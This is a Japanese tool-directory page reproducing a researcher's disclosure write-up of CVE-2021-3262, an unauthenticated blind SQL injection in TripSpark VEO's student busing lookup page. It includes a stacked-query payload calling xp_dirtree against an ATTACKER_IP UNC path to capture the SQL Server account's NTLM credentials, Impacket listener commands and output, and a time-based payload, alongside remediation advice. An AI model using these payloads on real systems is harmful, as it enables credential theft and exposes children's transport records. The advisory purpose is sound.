Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-3262 — CVE-2021-3262 - TripSpark VEO Transportation / NovusEDU の editOEN パラメータにおけるブラインドSQLインジェクション。認証不要で、インターネットに公開された環境から悪用可能。ペイロード、注釈付きリクエスト、および証跡を含む。 | Kitploit
ツール/GitHubGitHub/l0lsec/cve-2021-3262
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ論文と研究学習と教育データベースセキュリティ
GitHubl0lsec/cve-2021-3262

CVE-2021-3262

CVE-2021-3262 - TripSpark VEO Transportation / NovusEDU の editOEN パラメータにおけるブラインドSQLインジェクション。認証不要で、インターネットに公開された環境から悪用可能。ペイロード、注釈付きリクエスト、および証跡を含む。

リポジトリを見る
31ヶ月前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-3262

TripSpark VEO Transportation / NovusEDU における SQL インジェクション

TripSpark VEO Transportation に同梱されている公開の「Student Busing Information」参照ページは、認証なしの POST ボディ入力を受け取り、パラメータ化もサーバーサイド検証も行わずに SQL Server クエリへ連結します。editOEN パラメータ(生徒番号フィールド)がインジェクション可能です。

このインジェクションはブラインド型です。アプリケーションはデータベースエラーを返さず、読み取り価値のある差分コンテンツも返しません。ただし、データベース接続が master.dbo.xp_dirtree に到達できるため、アウトオブバンドで完全に悪用可能です。これにより、SQL Server サービスアカウントが攻撃者指定の UNC パスに対して SMB 経由で外向きに認証することを強制されます。

外部ペネトレーションテスト中に発見されました。元のエンゲージメントでは、キャプチャしたサービスアカウントの資格情報が足掛かりとなり、クライアントの Active Directory ドメインとフォレストの完全な侵害に至りました。

CVE-2021-3262 として公開。発見・報告者は Show Up Show Out Security の Sedric Louissaint 氏です。


概要

CVECVE-2021-3262
製品TripSpark VEO Transportation / NovusEDU
影響を受けるバージョンNovusEDU-2.2.x-XP_BB-20201123-184084、VEO--20201123-184084OS
脆弱性CWE-89: SQL Injection
CVSS 3.1 (NVD)9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (研究者)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
公開日2023-08-29
テスト環境Windows Server 2012 R2 Standard、SQL Server 2012 (SP3) 11.0.6020.0 (x64)
必要な認証なし。参照ページは設計上インターネットに公開されています。

NVD の説明:

TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 は、サーバーサイドロジックによるサニタイズを行わずに、エンドユーザーからの POST ボディパラメータで安全でないデータ入力を許可します。「Student Busing Information」検索クエリにカスタム SQL コマンドを注入することが可能でした。

技術的詳細

公開されている攻撃対象

学区は「Student Busing Information」ページを一般公開ウェブサイトに展開し、保護者が生徒のバス割り当てを確認できるようにしています。このページは生徒の N 番号と生年月日を要求し、意図的に認証なしで公開されています。

公開されている Student Busing Information ページ

N 番号フィールドは editOEN として POST されます。生年月日は cboxMonth、cboxDay、cboxYear として POST されます。editOEN がインジェクション可能なパラメータです。

ブラインドインジェクション

この時代の多くの ASP.NET アプリケーションとは異なり、このページはデータベースエラーをエコーバックしません。正常なクエリと破損したクエリの間に目に見える違いはないため、インバンド手法は行き詰まります。

スタッククエリは実行されます。それだけで十分です。

xp_dirtree によるアウトオブバンド悪用

master.dbo.xp_dirtree はディレクトリを列挙します。UNC パスが与えられると、SQL Server は読み取り前に SMB 経由でターゲットホストに認証します。これをリスナーに向けることで、無音のインジェクションを可視化できます:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

editOEN パラメータ内のペイロード

リクエストは通常の ASP.NET WebForms POST で、約 4,700 バイト、そのほとんどが __VIEWSTATE です。完全なリクエストは poc/exploited-request.http に、ペイロードは poc/payloads.sql にあります。

悪用された HTTP リクエスト

キャプチャされた認証

Impacket の smbserver.py を公開インターネット上のホストで待機させると、学区ネットワーク内のデータベースサーバーが外向きに認証します:

root@kitploit:~
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Impacket でキャプチャされた強制認証

明確に言及する価値のある点が 2 つあります。第一に、これは認証なしのインターネット公開フォームが本番データベースに到達していることです。第二に、そのデータベースサーバーは任意のインターネットホストへの外向き SMB 接続を許可されており、それがブラインドインジェクションを観測可能にしたのです。

影響

インジェクション自体に加えて、キャプチャされた SQL Server サービスアカウントの NTLMv2 資格情報は、元のエンゲージメントにおける最初の足掛かりでした。そこから評価はクライアントの Active Directory ドメインとフォレストの完全な侵害へとエスカレーションしました。

リスクにさらされるデータは生徒の交通記録です: 氏名、自宅住所、割り当てられたバス、割り当てられた停留所、乗車時間、特別教育のルーティング。これは、特定可能な児童が既知の時間に物理的にどこにいるかというスケジュールです。

再現方法

所有している、またはテストを許可されたラボインスタンスに対して:

  1. 「Student Busing Information」ページを読み込みます。
  2. ターゲットが到達可能なホストでリスナーを起動します:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  3. N 番号フィールドに poc/payloads.sql の xp_dirtree ペイロードを、自分の IP に置き換えて送信します。フィールドにクライアントサイドの長さ制限がある場合は、ブラウザで入力するのではなく POST をキャプチャしてリプレイしてください。その制限はサーバーサイドには存在しないためです。
  4. 脆弱なビルドでは、SQL Server サービスアカウントからのインバウンド SMB 認証が発生します。HTTP レスポンスには変化はありません。
  5. インバウンド SMB を受信できない場合も、時間ベースの確認が有効です:
    root@kitploit:~
    123'; waitfor delay '0:0:10';--
    

リポジトリの内容

root@kitploit:~
poc/
  payloads.sql            Detection, time-based and out-of-band payloads for editOEN
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations for a blind stacked-query injection
media/
  01-student-busing-information-page.png
  02-editoen-payload-in-burp.png
  03-forced-auth-captured-impacket.png
  04-exploited-http-request.png

キャプチャ内のクライアント識別子は伏せ字にされています。リスナーアドレスは元のエンゲージメントのものであり、とっくに無効です。再現する際は自分のものに置き換えてください。

修正方法

  1. パラメータ化クエリ。 editOEN をパラメータとしてバインドすれば、ペイロードは中身が何であれ不活性な文字列になります。
  2. サーバーサイド検証。 生徒番号は短く数値のみです。フォームではなくサーバーでそれを強制してください。
  3. データベースアカウントの最小権限。 公開参照ページの背後にあるアカウントは、バス割り当ての読み取りのみが必要です。xp_dirtree およびその他の拡張ストアドプロシージャへのアクセスを revoked してください。
  4. イグレスフィルタリング。 学区のデータベースサーバーがインターネットへの SMB 接続を開く理由はありません。外向き 445 をブロックすることでアウトオブバンドチャネルが除去されます。
  5. 公開フォームと記録システムの分離。 保護者が使用するページは、特別教育ルーティングも保持する本番データベースではなく、制限されたレプリカをクエリするべきです。

タイムライン

日付出来事
2021外部ペネトレーションテスト中に発見され、TripSpark に報告
2023-08-29CVE-2021-3262 が NVD に公開され、深刻度 9.8 Critical と評価

解説記事

  • 個人のアカウント: https://sedriclouissaint.com/blog/tripspark-veo-sql-injection-cve-2021-3262/
  • Show Up Show Out Security: https://susos.co/blog/sqlspark-sql-injection-in-tripspark-veo-transport-cve-2021-3262

免責事項

開示後に、防御および教育目的で公開されています。所有していない、または書面によるテスト許可を得ていないシステムに対してこれらのペイロードを実行しないでください。学区の展開を管理している場合、ここで有効な行動は、公開フォームの背後にあるクエリがパラメータ化されているかどうかをベンダーに書面で尋ねることです。

ツールをダウンロード